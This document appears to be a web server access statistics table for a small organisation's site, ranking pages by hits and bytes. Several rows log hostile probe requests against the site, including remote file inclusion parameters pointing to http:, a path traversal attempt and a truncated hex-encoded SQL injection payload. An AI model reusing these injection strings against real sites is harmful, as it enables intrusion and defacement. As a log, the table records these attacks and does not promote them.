| Rank | Item | Accesses | % | Bytes | % | Visits | % |
|---|---|---|---|---|---|---|---|
| 1 | [ /graphics] | 22,598 | 62.68 | 243,399,050 | 65.55 | 830 | 18.06 |
| 2 | [ /season] | 8,810 | 24.44 | 46,879,096 | 12.62 | 1,093 | 23.78 |
| 3 | [ /Templates] | 1,967 | 5.46 | 1,510,950 | 0.41 | 646 | 14.05 |
| 4 | / | 1,140 | 3.16 | 19,926,668 | 5.37 | 1,018 | 22.14 |
| 5 | [ /webstats] | 683 | 1.89 | 1,820,188 | 0.49 | 343 | 7.46 |
| 6 | [ /pdfs] | 259 | 0.72 | 46,288,261 | 12.47 | 189 | 4.11 |
| 7 | /index.htm | 89 | 0.25 | 1,999,885 | 0.54 | 86 | 1.87 |
| 8 | /SASregistration.htm | 81 | 0.22 | 2,685,673 | 0.72 | 76 | 1.65 |
| 9 | /SAScontact.htm | 72 | 0.20 | 1,235,008 | 0.33 | 71 | 1.54 |
| 10 | [ /galleries] | 68 | 0.19 | 57,610 | 0.02 | 21 | 0.46 |
| 11 | /SASabout.htm | 48 | 0.13 | 1,036,728 | 0.28 | 48 | 1.04 |
| 12 | /SASgallery.htm | 42 | 0.12 | 876,312 | 0.24 | 41 | 0.89 |
| 13 | /SASfosas.htm | 40 | 0.11 | 947,496 | 0.26 | 39 | 0.85 |
| 14 | /SASnewsletter.htm | 35 | 0.10 | 644,952 | 0.17 | 34 | 0.74 |
| 15 | /SASlinks.htm | 27 | 0.07 | 431,398 | 0.12 | 26 | 0.57 |
| 16 | /SASscholarship.htm | 24 | 0.07 | 431,640 | 0.12 | 24 | 0.52 |
| 17 | [ /?_SERVER[DOCUMENT_ROOT]=http:] | 13 | 0.04 | 313,235 | 0.08 | 0 | 0.00 |
| 18 | [ /stats] | 10 | 0.03 | 2,786 | 0.00 | 10 | 0.22 |
| 19 | [ ////?_SERVER[DOCUMENT_ROOT]=http:] | 7 | 0.02 | 168,665 | 0.05 | 0 | 0.00 |
| 20 | [ /?view=page&pagename=http:] | 5 | 0.01 | 120,475 | 0.03 | 0 | 0.00 |
| 21 | [ //?custompluginfile[]=http:] | 4 | 0.01 | 96,380 | 0.03 | 0 | 0.00 |
| 22 | /?';DECLARE | 3 | 0.01 | 24,095 | 0.01 | 0 | 0.00 |
| 23 | /?leisurelog.com | 3 | 0.01 | 24,095 | 0.01 | 0 | 0.00 |
| 24 | [ //////?mosConfig_absolute_path=http:] | 2 | 0.01 | 48,190 | 0.01 | 0 | 0.00 |
| 25 | [ ///?_zb_path=http:] | 2 | 0.01 | 48,190 | 0.01 | 0 | 0.00 |
| 26 | [ //?custompluginfile[]=..] | 2 | 0.01 | 48,190 | 0.01 | 0 | 0.00 |
| 27 | [ //?mosConfig_absolute_path=http:] | 2 | 0.01 | 48,190 | 0.01 | 0 | 0.00 |
| 28 | /?feed=rss2 | 2 | 0.01 | 24,095 | 0.01 | 0 | 0.00 |
| 29 | /?menu_frame.html | 2 | 0.01 | 0 | 0.00 | 0 | 0.00 |
| 30 | [ /icons] | 2 | 0.01 | 0 | 0.00 | 2 | 0.04 |
| 31 | [ ///?_SERVER[DOCUMENT_ROOT]=http:] | 1 | 0.00 | 24,095 | 0.01 | 0 | 0.00 |
| 32 | [ //?sIncPath=http:] | 1 | 0.00 | 24,095 | 0.01 | 0 | 0.00 |
| 33 | [ //?view=page&pagename=http:] | 1 | 0.00 | 24,095 | 0.01 | 0 | 0.00 |
| 34 |
/?';DECLARE @S CHAR(4000);SET @S=CAST(0x4445434C415245204054 207661726368617228323535292C40432076617263686172283430303029 204445434C415245205461626C655F437572736F7220435552534F522046 4F522073656C65637420612E6E616D652C622E6E616D652066726F6D2073 79736F626A6563747320612C737973636F6C756D6E732 |
1 | 0.00 | 24,095 | 0.01 | 0 | 0.00 |
| 35 | [ /?ABSOLUTE_PATH_STUDIP=http:] | 1 | 0.00 | 24,095 | 0.01 | 0 | 0.00 |
| 36 | [ /?_zb_path=http:] | 1 | 0.00 | 24,095 | 0.01 | 0 | 0.00 |
| 37 |
/?cfAC12041D=575E17F!bWVzYWM6emlvbnM6i7ZcyNvEXMSMCWBziJ1NnQ= = |
1 | 0.00 | 0 | 0.00 | 0 | 0.00 |
| 38 | [ /?mosConfig_absolute_path=http:] | 1 | 0.00 | 24,095 | 0.01 | 0 | 0.00 |
| 39 | [ /?sIncPath=http:] | 1 | 0.00 | 24,095 | 0.01 | 0 | 0.00 |